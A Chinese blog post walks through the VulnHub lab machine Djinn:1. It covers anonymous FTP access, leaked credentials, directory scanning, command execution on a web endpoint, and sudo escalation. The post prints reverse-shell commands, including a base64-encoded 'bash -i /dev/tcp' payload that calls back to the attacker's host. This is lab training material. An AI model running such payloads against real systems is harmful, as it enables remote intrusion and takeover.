尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
Djinn:1
一、靶机描述及下载地址虚拟机下载地址https://www.vulnhub.com/entry/djinn-1,397/虚拟机简介None目标user.txt和root.txt级别中级二、安装信息下载到的镜像文件直接导入VM即可需要注意的是默认网卡是桥接模式如果想用NAT模式的话直接改一下即可三、详细渗透测试过程1.主机发现因为kali也是NAT模式并且IP地址是192.168.229.1402.直接使用fscan进行探测kali的IP地址是:192.168.229.140目标靶机的IP地址是192.168.229.1503.直接来看ftp的匿名登录4.下载文件5.查看文件内容creds.txtnitu:81299game.trxt文件内容为oh and I forgot to tell you I’ve setup a game for you on port 1337. See if you can reach to thefinal level and get the prize.根据提示信息1337端口搭建了一个游戏如果我能到最后一关并且得到prize(奖励奖品)Message.txtnitish81299 I am going on holidays for few days, please take care of all the work.And don’t mess up anything.6.全端口扫描7.先看web服务8.查看页面源代码没发现特别9.目录扫描找后台10.根据AI提示信息11.直接使用nc进行连接12.这里试了好久没出来其实是卡在这里一步的信息收集的不够目录扫描字典太小啦gobuster dir -u http://192.168.229.150:7331 -w /usr/share/wordlists/dirb/big.txthttp://192.168.229.150:7331/genie13.直接可以命令执行http://192.168.229.150:7331/wish14.可以直接命令执行那么直接反弹shell没反弹成功,中途踩了好多的坑只有以下方式可以如果还有其他姿势欢迎大佬斧正echo bash -i /dev/tcp/192.168.207.130/5555 01 | base64echo bash -i /dev/tcp/192.168.229.140/5566 01 | base64echo YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xNDAvNTU2NiAwPiYxCg | base64 -d | bash成功反弹shell15.AI的思路16.AI差一点这道题目最后的提权是通过shell界面切换至nitish用户通过sudo -l17.最让人迷的是最后猜数字输入num竟然提权成功四、总结1.信息收集的能力有待提高目录字典的大小还是能看我是否进一步攻击2.涉及到的提权信息注意切换用户后在提权www-data目录下没得权限3.交换式shell的熟练使用4.注意反弹shell的过程中可以直接使用前台去尝试发包的话需要注意编码空格问题
RELATED

相关推荐

惠普tank1005,tank1020,tank2606,tank2504打印机出现报错ER08,亮黄灯加粉还是不行?先别慌,这个只需用ER08清零软件进行清零作业即可完美修好这个问题了,本人亲测完美

惠普tank1005,tank1020,tank2606,tank2504打印机出现报错ER08,亮黄灯加粉还是不行?先别慌,这个只需用ER08清零软件进行清零作业即可完美修好这个问题了,本人亲测完美

极速下载:点这里下载 密码:00 百度云:点这里下载 备用:https://pan.baidu.com/s/1jnWFzxqMMKBMDChJEfvBng?pwd0000 提取码:0000

📅 2026/8/21 22:40:46
Google Workspace CLI安全最佳实践:保护你的数据与隐私

Google Workspace CLI安全最佳实践:保护你的数据与隐私

Google Workspace CLI安全最佳实践:保护你的数据与隐私 【免费下载链接】cli Google Workspace CLI — one command-line tool for Drive, Gmail, Calendar, Sheets, Docs, Chat, Admin, and more. Dynamically built from Google Discovery Service. Includes AI a…

📅 2026/8/22 17:32:01
Muya API完全参考:掌握编辑器控制的10个关键方法

Muya API完全参考:掌握编辑器控制的10个关键方法

Muya API完全参考:掌握编辑器控制的10个关键方法 【免费下载链接】muya 📄 Future markdown editor for web browser applications development 项目地址: https://gitcode.com/gh_mirrors/mu/muya Muya作为面向Web应用开发的未来Markdown编辑器&…

📅 2026/9/10 4:55:55
MORE NEWS

更多资讯

📰

jQuery Mobile弹窗组件开发实战与优化指南

1. jQuery Mobile弹窗组件深度解析作为一名有十年移动端开发经验的前端工程师,我见证了jQuery Mobile从诞生到成熟的整个过程。这个轻量级框架的弹窗组件(Popup)至今仍是快速构建移动端交互的优秀选择。不同于传统浏览器的alert()或confirm()…

📰

基于Spring Boot和Vue的作家信息管理系统设计与实现

1. 系统概述与背景当代中国文学创作呈现蓬勃发展的态势,各类文学奖项层出不穷。传统的人工管理方式已经难以满足对作家信息、获奖记录和作品数据的系统化管理需求。纸质档案容易丢失损坏,Excel表格难以实现多维度关联查询,更无法支持复杂的数…

📰

kohya_ss 零门槛:10 分钟跑通 AI 绘画 LoRA 训练

kohya_ss 零门槛:10 分钟跑通 AI 绘画 LoRA 训练 【免费下载链接】kohya_ss 项目地址: https://gitcode.com/GitHub_Trending/ko/kohya_ss 你存了几百张参考图,每次出图总差口气——风格学不像,角色立不住。kohya_ss 就是干这个的&am…

📰

Deep-Live-Cam 实时换脸快速上手指南:一张照片,十分钟开播

Deep-Live-Cam 实时换脸快速上手指南:一张照片,十分钟开播 【免费下载链接】Deep-Live-Cam real time face swap and one-click video deepfake with only a single image 项目地址: https://gitcode.com/GitHub_Trending/de/Deep-Live-Cam Deep-…

📰

AI导论48学时授课计划拆解:从机器学习到TensorFlow的实训路径

简介:这是一份面向高校及职业院校《人工智能导论》授课教师的完整教学计划文档,以doc格式完整呈现48学时、12周、六大教学模块的课程安排。文档按周次细致列出各教学章节、内容摘要、教学方式(一体化或实训)及作业布置&#xff0c…

📰

CANN ops-math 算子调用实战:快速体验、aclnn API 与 GE 图模式全解析

CANN ops-math 算子调用实战:快速体验、aclnn API 与 GE 图模式全解析 【免费下载链接】ops-math 本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。 项目地址: https://gitcode.com/cann/ops-math 本文围绕 CANN ops-math 算子库…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬